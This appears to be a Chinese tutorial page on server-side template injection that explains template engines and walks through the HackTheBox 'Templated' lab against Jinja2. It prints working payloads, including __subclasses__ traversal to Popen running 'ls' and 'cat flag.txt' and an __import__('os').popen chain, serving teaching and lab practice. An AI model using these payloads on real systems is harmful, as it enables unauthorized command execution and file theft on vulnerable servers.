当前位置: 首页 > news >正文

SSTI漏洞原理及渗透测试

模板引擎(Web开发中)

是为了使 用户界面 和 业务数据(内容)分离而产生的,它可以生成特定格式的文档,
利用模板引擎来生成前端的HTML代码,模板引擎会提供一套生成HTML代码的程序,之后只需获取用户的数据,放入渲染函数,该数据便会嵌入生成好的HTML页面中
,然后反馈给浏览器,呈现在用户面前

https://image.3001.net/images/20220920/1663679580_6329bc5c728779f8f0ed6.png!small

当前的主流框架,一般都采用MVC模式,即: Model-View-Controller
,用户的输入先进入Controller控制器,然后根据清流类型和请求的指令发送给对应的Model业务模型,由Model层进行业务逻辑的判断、数据库的存取等,最后把结果返回给View视图层,再经模板引擎的渲染展示给用户

模板引擎的基本机理就是 替换(转换)将指定的标签转换为需要的业务数据;将指定的伪语句按照某种流程来变换输出

引用一段代码来简单说一下:

// 模板
var template = '<p>Hello,my name is <%name%>.I am <%age%> years old.</p>';// 用于匹配的正则
/*用于过滤出以<%开头,%>结尾,并且中间不包含%或>的匹配项其目的在于过滤出template中的 <%name%> 和 <%age%>
*/
var regex = /<%([^%]+)?%>/g;// 数据
var data =
{name:'Deutsh',age:22
}// 模板引擎
var TemplateEngine = function (template,data)
{// exec使用全局正则表达式意味着在循环中使用,因为它仍然会检索所有匹配的子表达式// /regex/.exec()仅返回找到的第一个匹配项while (match = regex.exec(template)){template = template.replace(match[0],data[match[1]])}return template;
}// 最终的执行在此处var string = TemplateEngine(template,data)
console.log(string)

上述代码,我们的目的是:将 数据文件 中对应的name和age替换到 模板文件

主要的执行在模板引擎的while函数中,match = regex.exec(template)会返回一个array,这个数组中包含了连个项目

⚠️ 为什么会包含两项呢:当正则表达式设置 g 标志位时,可以多次执行 exec 方法来查找同一个字符串中的成功匹配

https://image.3001.net/images/20220920/1663679582_6329bc5e4029f2922d448.png!small

之后template = template.replace(match[0],data[match[1]])等同于template = template.replace("<%name%>",data["name"]) 完成模板中数据的替换

1image.png

SSTI(模板注入)Server-Side Template Injection

由前面模板代码安利的演示,我们可以发现,
若服务端接受了用户的输入后(比如对于上述案例,data的name和age的数据由数据的输入/提交/请求而得),未经任何处理就将其作为Web应用模板内容的一部分
,就会导致模板引擎在进行目标编译渲染的过程中,执行了用户插入的可执行语句,从而可能导致信息泄露、代码执行等问题

https://image.3001.net/images/20220920/1663679704_6329bcd831ed3b71f302a.png!small

凡是使用模板的地方,SSTI是绕不过的问题,模板引擎可由多种语言实现,所以SSTI也就出现在了多种语言环境中

模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

常见的模板引擎

  • PHP

Twig模板变量: {{%s}}

Smarty模板变量: {%s}

Blade模板变量: {{%s}}

  • Python

Jinja2模板变量: {{%s}}

Tornado模板变量: {{%s}}

Django模板变量: {{ }}

  • Java

FreeMarker模板变量: <#%s>``${%s}

Velocity模板变量: #set($x=1+1)${x}

模板引擎众多,各个模板引擎的语法也不尽相同,我们最主要的是能定位出是否存在SSTI漏洞,至于后续的利用,我们掌握一些,其余的见到再查即可

如何测试是否存在SSTI

简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload, 通过页面渲染返回的内容检测承载的 Payload
是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入
,否则不存在 SSTI

此处我们拿来 bmjoker师傅 提供的一段示例代码

Twig模板引擎示例代码

<?phprequire_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php';Twig_Autoloader::register(true);// Twig_Loader_Array 用于定位模板 内置的加载器// Twig_Environment 来存储配置信息 内置的环境变量$twig = new Twig_Environment(new Twig_Loader_String());// render() 方法通过其第一个参数载入模板,**并通过第二个参数中的变量来渲染模板**!!重要!!// 模版含有 {{name}} 变量,其模版变量值来自于GET请求参数$_GET["name"]$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));// 将用户输入作为模版变量的值echo $output;
?>

这段代码中,由于 模板引擎一般都会默认对渲染的变量值进行编码和转义 。所以一般情况下并不会存在XSS等攻击的可能

若就如我们最开始的例子所说, 若模板引擎渲染的内容受我们控制了 ,就不一定了

// 上述代码基本内容不变,$output后的内容发生变化$output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分

此时render函数由于缺少第二个参数,所以 直接就会把"Hello 用户的输入"拼如模板进行渲染,这就相当于改变了最初的模板,由于模板最初是由开发者定义的,所以他会受到“信任”

对于Twig模板的变量{{%s}}除了传递变量外,还可以执行表达式,最简单的表达式就是{{2*2}},这也是辨认是否存在SSTI最基本的指纹,
若我们输入{{2*2}},HTML页面返回其其结果4,就说明该表达式被解析,存在SSTI

HackTheBox–Templated

我们以HTB上的一个靶场来演示一下该漏洞的判断与利用

2image.png

首先我们在浏览器中打开所给的IP:Port

3image.png

题目直接提示我们本体使用的模板引擎为**Jinja2**,根据我们之前总结的各个模板引擎的变量类型,我们可以知道该变量的类型是 {{%s}}
,所以话不多说我们直接拼接尝试

payload

={{2 * 2}}

https://image.3001.net/images/20220920/1663679896_6329bd984f97b960e07c1.png!small

2*2被计算,确认存在SSTI模板注入

exp

本题的重点还是在利用方面:由于我们的目标是读取处于服务器本地的一个存有Flag的文件,所以我们的重点是找到一个含有某种读取文件的函数的类(Python中),我们通过查阅手册发现可以利用Popen函数完成该功能,调用该函数会返回一个文件的句柄,然后再配合read()函数读取即可

该函数会执行fork一个子进程执行command这个命令,同时将子进程的标准输出通过管道连接到父进程,对于文件在父进程调用read()读取即可,对于命令在父进程会被执行

那么下面的重点就是,如何找到Popen这个函数所属的类,一般有两种方法,我们先说第一种

由于我们想要找的是一个子类,所以第一步即使找到其对象基类 即class 'object',为了达到这步,我们可以使用__mro__属性来访问对象的继承类,但我们目前没有对象,所以这里我们就构造一个 空字符串 :

{{"".__class__.__mro__}}其中__class__用于返回调用的参数类型

https://image.3001.net/images/20220920/1663679929_6329bdb97bde366377d1d.png!small

可以看出该子类继承自class'str'class 'object'并以一个元组返回,我们通过索引获得对象类

{{"".__class__.__mro__[1]}}

4image.png

接下来,我们要列举出所有集成自object的子类,通过对该对象调用__subclasses__方法

{{"".__class__.__mro__[1].__subclasses__()}}

https://image.3001.net/images/20220920/1663680031_6329be1feb334d8d1b6cd.png!small

但这有一个明显的缺点就是,好家伙,这么多子类,怎么可能找得到, 为了缩小范围我们对其进行切片

{{"".__class__.__mro__[1].__subclasses__()[400:]}}查找400个以后的元素

https://image.3001.net/images/20220920/1663680094_6329be5e669d280dfb93e.png!small

成功定位其位置,处于滴414号位置

{{"".__class__.__mro__[1].__subclasses__()[414]}}

然后我们为该函数传递参数调用即可

{{"".__class__.__mro__[1].__subclasses__()[414]("ls",shell=True,stdout=-1).communicate()}}

查看本地文件,发现flag.txt

https://image.3001.net/images/20220920/1663680157_6329be9db595c290807cf.png!small

Popen.communicate()

与进程交互:将数据发送到标准输入。从 stdout 和 stderr 读取数据,直到到达文件结尾

之后我们直接cat他就看见啦~~~~

{{"".__class__.__mro__[1].__subclasses__()[414]("cat flag.txt",shell=True,stdout=-1).communicate()}}

Python中常用的一些魔术方法

  • __dict__:保存类实例或对象实例的属性变量键值对字典

  • __class__:返回调用的参数类型

  • __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 寻找基类

  • __bases__:返回类型列表 寻找基类

  • __subclasses__:返回object的子类

  • __init__:类的初始化方法

  • __globals__:函数会以字典类型返回当前位置的全部全局变量 与func_globals等价

exp2

这里我们还有一种方法,使用全局下的内置模块引用__builtins__(指向__builtin__

在Python中,有一个内建模块,该模块中有一些常用函数;而该模块在Python启动后、且没有执行程序员所写的任何代码前,Python会首先加载
该内建函数到内存

{{"".__class__.__bases__[0].__subclasses__()[1500].__init__.__globals__['__builtins__']['__import__']("os").popen("cat flag.txt").read()}}

同样,我们获取基本类后,继续向下获取基本类(object)的子类,然后init初始化类,globals全局来查找所有的方法及变量和参数并查看其内建模块的引用

https://image.3001.net/images/20220920/1663680191_6329bebff1ce2e5df1072.png!small

使用内建模块中的__import__引入os库,并适用其中的popen函数读取flag.txt即可

https://image.3001.net/images/20220920/1663680222_6329bede03061fa407f00.png!small

注意:

该exp中,对子类的选择subclasses()[1500]时,经测试大多数子类中都包含内建模块的引用,但依旧有不少不包含,要注意

我们使用burp将子类的选择加为参数进行爆破

https://image.3001.net/images/20220920/1663680226_6329bee2b2aacb7322edb.png!small

遍历出(以下截图中Payload的子类号都可以引用,具有**__builtins__**)

https://image.3001.net/images/20220920/1663680231_6329bee71686f20bf4646.png!small

以下为不可以使用的(由此可看出号往大了写就对了~)

5image.png

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

相关文章:

SSTI漏洞原理及渗透测试

模板引擎&#xff08;Web开发中&#xff09; 是为了使 用户界面 和 业务数据&#xff08;内容&#xff09;分离而产生的&#xff0c;它可以生成特定格式的文档&#xff0c; 利用模板引擎来生成前端的HTML代码&#xff0c;模板引擎会提供一套生成HTML代码的程序&#xff0c;之后…...

【算法基础】高精度除法

&#x1f466;个人主页&#xff1a;Weraphael ✍&#x1f3fb;作者简介&#xff1a;目前是C语言 算法学习者 ✈️专栏&#xff1a;【C/C】算法 &#x1f40b; 希望大家多多支持&#xff0c;咱一起进步&#xff01;&#x1f601; 如果文章对你有帮助的话 欢迎 评论&#x1f4ac…...

optimizer.zero_grad(), loss.backward(), optimizer.step()的理解及使用

optimizer.zero_grad&#xff0c;loss.backward&#xff0c;optimizer.step用法介绍optimizer.zero_grad()&#xff1a;loss.backward()&#xff1a;optimizer.step()&#xff1a;用法介绍 这三个函数的作用是将梯度归零&#xff08;optimizer.zero_grad()&#xff09;&#x…...

融资、量产和一栈式布局,这家Tier 1如此备战高阶智驾决赛圈

作者 | Bruce 编辑 | 于婷从早期的ADAS&#xff0c;到高速/城市NOA&#xff0c;智能驾驶的竞争正逐渐升级&#xff0c;这对于车企和供应商的核心技术和产品布局都是一个重要的考验。 部分智驾供应商已经在囤积粮草&#xff0c;响应变化。 2023刚一开年&#xff0c;智能驾驶领域…...

centos7.8安装oralce11g

文章目录环境安装文件准备添加用户操作系统环境配置解压安装问题解决创建用户远程连接为了熟悉rman备份操作&#xff0c;参照大神的博客在centos中安装了一套oracle11g&#xff0c;将安装步骤记录如下环境安装文件准备 这里准备一台centos7.8 虚拟机 配置ip 192.168.18.100 主…...

【蓝桥杯集训·每日一题】AcWing 3956. 截断数组

文章目录一、题目1、原题链接2、题目描述二、解题报告1、思路分析2、时间复杂度3、代码详解三、知识风暴一维前缀和一、题目 1、原题链接 3956. 截断数组 2、题目描述 给定一个长度为 n 的数组 a1,a2,…,an。 现在&#xff0c;要将该数组从中间截断&#xff0c;得到三个非空子…...

万丈高楼平地起:Linux常用命令

目录 系统管理命令 man命令 ls命令 cd命令 useradd命令 passwd命令 free命令 whoami命令 ps命令 date命令 pwd命令 shutdown命令 文件目录管理命令 touch命令 cat命令 mkdir命令 rm命令 cp命令 mv命令 find命令 more指令 less指令 head指令 tail指令 …...

Linux(Linux的连接使用)

连接Linux我们一般使用CRT或者Xshell工具进行连接使用。 如CRT使用SSH的方式 输出主机&#xff0c;账户&#xff0c;密码那些就可以连接上了。 Linux系统是一个文件型操作系统&#xff0c;有一句话说Linux的一切皆是文件。Linux系统的启动大致有下面几个步骤 Linux系统有7个运…...

Unity中画2D图表(2)——用XChart包绘制散点分布图 + 一条直线方程

散点图用于显示关系。 对于 【相关性】 &#xff0c;散点图有助于显示两个变量之间线性关系的强度。 对于 【回归】 &#xff0c;散点图常常会添加拟合线。 举例1&#xff1a;你可以展示【年降雨量】与【玉米亩产量】的关系 举例2&#xff1a;你也可以分析各个【节假日】与【大…...

Go 排序包 sort

写在前面的使用总结&#xff1a; 排序结构体 实现Len&#xff0c;Less&#xff0c;Swap三个函数 package main import ( "fmt" "sort") type StuScore struct { name string score int } type StuScores []StuScore func (s StuScores) Len(…...

Java Email 发HTML邮件工具 采用 freemarker模板引擎渲染

Java Email 发HTML邮件工具 采用 freemarker模板引擎 1.常用方式对比 Java发送邮件有很多的实现方式 第一种&#xff1a;Java 原生发邮件mail.jar和activation.jar <!-- https://mvnrepository.com/artifact/javax.mail/mail --> <dependency><groupId>jav…...

CNI 网络流量分析(六)Calico 介绍与原理(二)

文章目录CNI 网络流量分析&#xff08;六&#xff09;Calico 介绍与原理&#xff08;二&#xff09;CNIIPAM指定 IP指定非 IPAM IPCNI 网络流量分析&#xff08;六&#xff09;Calico 介绍与原理&#xff08;二&#xff09; CNI 支持多种 datapath&#xff0c;默认是 linuxDa…...

短视频标题的几种类型和闭坑注意事项

目录 短视频标题的几种类型 1、悬念式 2、蹭热门式 3、干货式 4、对比式方法 5、总分/分总式方法 6、挑战式方式 7、启发激励式 8、讲故事式 02注意事项 1、避免使用冷门、生僻词汇 标题是点睛之笔&#xff0c;核心是视频内容 短视频标题的几种类型 1、悬念式 通过…...

操作系统——1.操作系统的概念、定义和目标

目录 1.概念 1.1 操作系统的种类 1.2电脑的组成 1.3电脑组成的介绍 1.4操作系统的概念&#xff08;定义&#xff09; 2.操作系统的功能和目标 2.1概述 2.2 操作系统作为系统资源的管理者 2.3 操作系统作为用户和计算机硬件间的接口 2.3.1用户接口的解释 2.3.2 GUI 2.3.3接…...

【html弹框拖拽和div拖拽功能】原生html页面引入vue语法后通过自定义指令简单实现div和弹框拖拽功能

前言 这是html版本的。只是引用了vue的语法。 这是很多公司会出现的一种情况&#xff0c;就是原生的页面&#xff0c;引入vue的语法开发 这就导致有些vue上很简单的功能。放到这里需要转换一下 以前写过一个vue版本的帖子&#xff0c;现在再加一个html版本的。 另一个vue版本…...

2023新华为OD机试题 - 计算网络信号(JavaScript) | 刷完必过

计算网络信号 题目 网络信号经过传递会逐层衰减,且遇到阻隔物无法直接穿透,在此情况下需要计算某个位置的网络信号值。 注意:网络信号可以绕过阻隔物 array[m][n] 的二维数组代表网格地图,array[i][j] = 0代表 i 行 j 列是空旷位置;array[i][j] = x(x 为正整数)代表 i 行 …...

27.边缘系统的架构

文章目录27 Architecures for the Edge 边缘系统的架构27.1 The Ecosystem of Edge-Dominant Systems 边缘主导系统的生态系统27.2 Changes to the Software Development Life Cycle 软件开发生命周期的变化27.3 Implications for Architecture 对架构的影响27.4 Implications …...

机器学习强基计划8-1:图解主成分分析PCA算法(附Python实现)

目录0 写在前面1 为什么要降维&#xff1f;2 主成分分析原理3 PCA与SVD的联系4 Python实现0 写在前面 机器学习强基计划聚焦深度和广度&#xff0c;加深对机器学习模型的理解与应用。“深”在详细推导算法模型背后的数学原理&#xff1b;“广”在分析多个机器学习模型&#xf…...

Hudi-集成Spark之spark-shell 方式

Hudi集成Spark之spark-shell 方式 启动 spark-shell &#xff08;1&#xff09;启动命令 #针对Spark 3.2 spark-shell \--conf spark.serializerorg.apache.spark.serializer.KryoSerializer \--conf spark.sql.catalog.spark_catalogorg.apache.spark.sql.hudi.catalog.Hoo…...

Python爬虫:从js逆向了解西瓜视频的下载链接的生成

前言 最近花费了几天时间,想获取西瓜视频这个平台上某个视频的下载链接,运用js逆向进行获取。其实,如果小编一开始就注意到这一点(就是在做js逆向时,打了断点之后,然后执行相关代码,查看相关变量的值,结果一下子就蹦出很多视频相关的数据,查看了网站下的相关api链接,也…...

进程地址空间(比特课总结)

一、进程地址空间 1. 环境变量 1 &#xff09;⽤户级环境变量与系统级环境变量 全局属性&#xff1a;环境变量具有全局属性&#xff0c;会被⼦进程继承。例如当bash启动⼦进程时&#xff0c;环 境变量会⾃动传递给⼦进程。 本地变量限制&#xff1a;本地变量只在当前进程(ba…...

【力扣数据库知识手册笔记】索引

索引 索引的优缺点 优点1. 通过创建唯一性索引&#xff0c;可以保证数据库表中每一行数据的唯一性。2. 可以加快数据的检索速度&#xff08;创建索引的主要原因&#xff09;。3. 可以加速表和表之间的连接&#xff0c;实现数据的参考完整性。4. 可以在查询过程中&#xff0c;…...

Vue3 + Element Plus + TypeScript中el-transfer穿梭框组件使用详解及示例

使用详解 Element Plus 的 el-transfer 组件是一个强大的穿梭框组件&#xff0c;常用于在两个集合之间进行数据转移&#xff0c;如权限分配、数据选择等场景。下面我将详细介绍其用法并提供一个完整示例。 核心特性与用法 基本属性 v-model&#xff1a;绑定右侧列表的值&…...

【Linux】C语言执行shell指令

在C语言中执行Shell指令 在C语言中&#xff0c;有几种方法可以执行Shell指令&#xff1a; 1. 使用system()函数 这是最简单的方法&#xff0c;包含在stdlib.h头文件中&#xff1a; #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...

【论文笔记】若干矿井粉尘检测算法概述

总的来说&#xff0c;传统机器学习、传统机器学习与深度学习的结合、LSTM等算法所需要的数据集来源于矿井传感器测量的粉尘浓度&#xff0c;通过建立回归模型来预测未来矿井的粉尘浓度。传统机器学习算法性能易受数据中极端值的影响。YOLO等计算机视觉算法所需要的数据集来源于…...

Nginx server_name 配置说明

Nginx 是一个高性能的反向代理和负载均衡服务器&#xff0c;其核心配置之一是 server 块中的 server_name 指令。server_name 决定了 Nginx 如何根据客户端请求的 Host 头匹配对应的虚拟主机&#xff08;Virtual Host&#xff09;。 1. 简介 Nginx 使用 server_name 指令来确定…...

解决本地部署 SmolVLM2 大语言模型运行 flash-attn 报错

出现的问题 安装 flash-attn 会一直卡在 build 那一步或者运行报错 解决办法 是因为你安装的 flash-attn 版本没有对应上&#xff0c;所以报错&#xff0c;到 https://github.com/Dao-AILab/flash-attention/releases 下载对应版本&#xff0c;cu、torch、cp 的版本一定要对…...

土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等

&#x1f50d; 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术&#xff0c;可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势&#xff0c;还能有效评价重大生态工程…...

是否存在路径(FIFOBB算法)

题目描述 一个具有 n 个顶点e条边的无向图&#xff0c;该图顶点的编号依次为0到n-1且不存在顶点与自身相连的边。请使用FIFOBB算法编写程序&#xff0c;确定是否存在从顶点 source到顶点 destination的路径。 输入 第一行两个整数&#xff0c;分别表示n 和 e 的值&#xff08;1…...

服务器--宝塔命令

一、宝塔面板安装命令 ⚠️ 必须使用 root 用户 或 sudo 权限执行&#xff01; sudo su - 1. CentOS 系统&#xff1a; yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh2. Ubuntu / Debian 系统…...